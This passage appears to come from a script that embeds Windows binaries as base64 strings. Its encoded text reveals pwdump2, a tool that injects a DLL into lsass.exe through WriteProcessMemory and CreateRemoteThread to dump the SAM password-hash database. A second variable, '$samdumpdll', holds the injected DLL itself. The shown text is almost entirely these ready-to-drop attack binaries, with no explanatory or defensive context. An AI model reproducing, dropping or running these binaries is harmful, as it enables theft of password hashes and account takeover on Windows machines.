dSD/FaxgQACL8Dv3D4Rx////i8bpbP///4tUJAiLRCQEhdJWjUr/dA2AOAB0CECL8UmF9nXzgDgA
XnUFK0QkBMOLwsP/JbhgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRmAABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAA
JGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcAAEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADW
ZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAAQGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5o
AADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABSaQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkA
ANRpAADgaQAA8GkAAABqAAAAAAAA/////wcdQAAbHUAABgAABgABAAAQAAMGAAYCEARFRUUFBQUF
BTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgI
AAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRM
T1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVu
YWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZv
ciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9y
IHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9u
IGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRh
YmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAx
OA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRp
dGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl
YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5v
dCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFj
ZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoA
AAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVy
cm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAAAAAAAAAAAA////
/+tMQADvTEAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEA
dXNlcjMyLmRsbAAA/////79WQADDVkAA/////3NXQAB3V0AAFGUAAAAAAAAAAAAAamcAABBgAAAE
ZQAAAAAAAAAAAAC8ZwAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRm
AABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAAJGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcA
AEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADWZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAA
QGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5oAADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABS
aQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkAANRpAADgaQAA8GkAAABqAAAAAAAAwwBGcmVl
TGlicmFyeQBTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAA/QJXYWl0Rm9yU2luZ2xl
T2JqZWN0AE0AQ3JlYXRlVGhyZWFkAAA0AENyZWF0ZUV2ZW50QQAALQFHZXRMYXN0RXJyb3IAABEC
T3BlblByb2Nlc3MAHgBDbG9zZUhhbmRsZQAJAUdldEN1cnJlbnRQcm9jZXNzAPICVmlydHVhbEZy
ZWVFeABJAENyZWF0ZVJlbW90ZVRocmVhZAAAFwNXcml0ZVByb2Nlc3NNZW1vcnkAAO8CVmlydHVh
bEFsbG9jRXgAAAoBR2V0Q3VycmVudFByb2Nlc3NJZAA4AUdldE1vZHVsZUZpbGVOYW1lQQAAZQBE
aXNjb25uZWN0TmFtZWRQaXBlAD0CUmVhZEZpbGUAACYAQ29ubmVjdE5hbWVkUGlwZQAAkAJTZXRF
dmVudAAARABDcmVhdGVOYW1lZFBpcGVBAABLRVJORUwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2
aWxlZ2VzABgBTG9va3VwUHJpdmlsZWdlVmFsdWVBAGcBT3BlblByb2Nlc3NUb2tlbgAAQURWQVBJ
MzIuZGxsAAC6AUhlYXBGcmVlAAC9AUhlYXBSZUFsbG9jALQBSGVhcEFsbG9jAIwARXhpdFByb2Nl
c3MAywJUZXJtaW5hdGVQcm9jZXNzAADaAEdldENvbW1hbmRMaW5lQQCOAUdldFZlcnNpb24AALgB
SGVhcERlc3Ryb3kAtgFIZWFwQ3JlYXRlAADxAlZpcnR1YWxGcmVlAO4CVmlydHVhbEFsbG9jAACY
AlNldEhhbmRsZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0
dXBJbmZvQQDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJp
bmdzQQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdl
dEVudmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAFcCUnRsVW53aW5k
AA4DV3JpdGVGaWxlALkARmx1c2hGaWxlQnVmZmVycwAAAgJNdWx0aUJ5dGVUb1dpZGVDaGFyAGkB
R2V0U3RyaW5nVHlwZUEAAGwBR2V0U3RyaW5nVHlwZVcAAJUCU2V0RmlsZVBvaW50ZXIAAM8AR2V0
Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9FTUNQAACoAlNldFN0ZEhhbmRsZQAA3AFMQ01hcFN0cmlu
Z0EAAN0BTENNYXBTdHJpbmdXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAHQZQADUUkAAAAAAAAAAAAAZGkAAAAAAAAAAAAAAAAAAAAAAAEwAUwBBAFMA
UwAuAEUAWABFAAAAUnRsQ29tcGFyZVVuaWNvZGVTdHJpbmcATnRRdWVyeVN5c3RlbUluZm9ybWF0
aW9uAAAAAE5URExMAAAAClB3ZHVtcDIgLSBkdW1wIHRoZSBTQU0gZGF0YWJhc2UuClVzYWdlOiAl
cyA8cGlkIG9mIGxzYXNzLmV4ZT4KAEZhaWxlZCBzdGFydGluZyBsaXN0ZW4gb24gcGlwZTogJWQu
ICBFeGl0aW5nCgAAAEZhaWxlZCB0byBjcmVhdGUgcmVjZWl2aW5nIHRocmVhZDogJWQuICBFeGl0
aW5nCgAAAABGYWlsZWQgdG8gb3BlbiBsc2FzczogJWQuICBFeGl0aW5nLgoAAAAARmFpbGVkIGVu
YWJsaW5nIERlYnVnIHByaXZpbGVnZS4gIFByb2NlZWRpbmcgYW55d2F5CgAAAABVbmFibGUgdG8g
ZmluZCBsc2Fzcy5leGUgcGlkIGF1dG9tYXRpY2FsbHkuCllvdSBuZWVkIHRvIHNwZWNpZnkgb24g
dGhlIGNvbW1hbmQgbGluZQoAAAAAVW5hYmxlIHRvIGFkanVzdCB0b2tlbiBwcml2aWxlZ2VzOiAl
ZAoAAFVuYWJsZSB0byBsb29rdXAgcHJpdmlsZWdlOiAlZAoAU2VEZWJ1Z1ByaXZpbGVnZQAAAABV
bmFibGUgdG8gb3BlbiBwcm9jZXNzIHRva2VuOiAlZAoAAABDcmVhdGVSZW1vdGVUaHJlYWQgZmFp
bGVkOiAlZAoAAFdyaXRlUHJvY2Vzc01lbW9yeSBmYWlsZWQ6ICVkCgAAVmlydHVhbEFsbG9jRXgg
ZmFpbGVkOiAlZAoAAFxcLlxwaXBlXHB3ZHVtcDItJWQARHVtcFNhbQBTYW1EdW1wLmRsbABGcmVl
TGlicmFyeQBHZXRQcm9jQWRkcmVzcwAATG9hZExpYnJhcnlBAAAAAEtlcm5lbDMyAAAAACVzAABG
YWlsZWQgdG8gY29ubmVjdCB0aGUgcGlwZTogJWQKAEZhaWxlZCB0byBjcmVhdGUgdGhlIHBpcGU6
ICVkCgAAAAAAAACBQAAAAAAAAIFAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAA
AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNGEAAAQAAABAAAAD4AwAAaGFAAFhhQAD/////AAoAAAp2
QAAKdkAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAg
ACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQA
hACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQAB
AAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIA
AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAQAAAC4AAAABAAAAAAAAAAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADA
BAAAAAAAAACNAADACAAAAAAAAACOAADACAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACR
AADACAAAAAAAAACSAADACAAAAAAAAACTAADACAAAAAAAAAADAAAABwAAAAoAAACMAAAAIAWTGQAA
AAAAAAAAAAAAAAIAAADUY0AACAAAAKhjQAAJAAAAfGNAAAoAAABYY0AAEAAAACxjQAARAAAA/GJA
ABIAAADYYkAAEwAAAKxiQAAYAAAAdGJAABkAAABMYkAAGgAAABRiQAAbAAAA3GFAABwAAAC0YUAA
eAAAAKRhQAB5AAAAlGFAAHoAAACEYUAA/AAAAIBhQAD/AAAAcGFAAAAAAAAAAAAAeVNAAHlTQAB5
U0AAeVNAAHlTQAB5U0AAAAAAAAAAAAABAgQIAAAAAKQDAABggnmCIQAAAAAAAACm3wAAAAAAAKGl
AAAAAAAAgZ/g/AAAAABAfoD8AAAAAKgDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4A
AAAAAABA/gAAAAAAALUDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABB/gAA
AAAAALYDAADPouSiGgDlouiiWwAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABAfqH+AAAAAFEFAABR
2l7aIABf2mraMgAAAAAAAAAAAAAAAAAAAAAAgdPY3uD5AAAxfoH+AAAAAAEAAAAWAAAAAgAAAAIA
AAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAA
AAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAA
EgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABT
AAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA
AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAA
AA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAA
DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
$samdumpdll="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAA5YhDKfQN+mX0Dfpl9A36ZlRx1mXwDfpmVHHSZNwN+mf4fcJluA36ZJCBt
mXgDfpl9A3+ZNAN+mYIjdJl8A36ZgiN6mXwDfplSaWNofQN+mQAAAAAAAAAAUEUAAEwBBAAT+OA4
AAAAAAAAAADgAA4hCwEGAABQAAAAUAAAAAAAAIoaAAAAEAAAAGAAAAAAABAAEAAAABAAAAQAAAAA
AAAABAAAAAAAAAAAsAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAYGsAAEYA
AAAwZgAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAADkBQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAOwAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAudGV4dAAAAKJNAAAAEAAAAFAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACm
CwAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAoCYAAABwAAAAEAAAAHAAAAAA
AAAAAAAAAAAAAEAAAMAucmVsb2MAAJQMAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABCAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
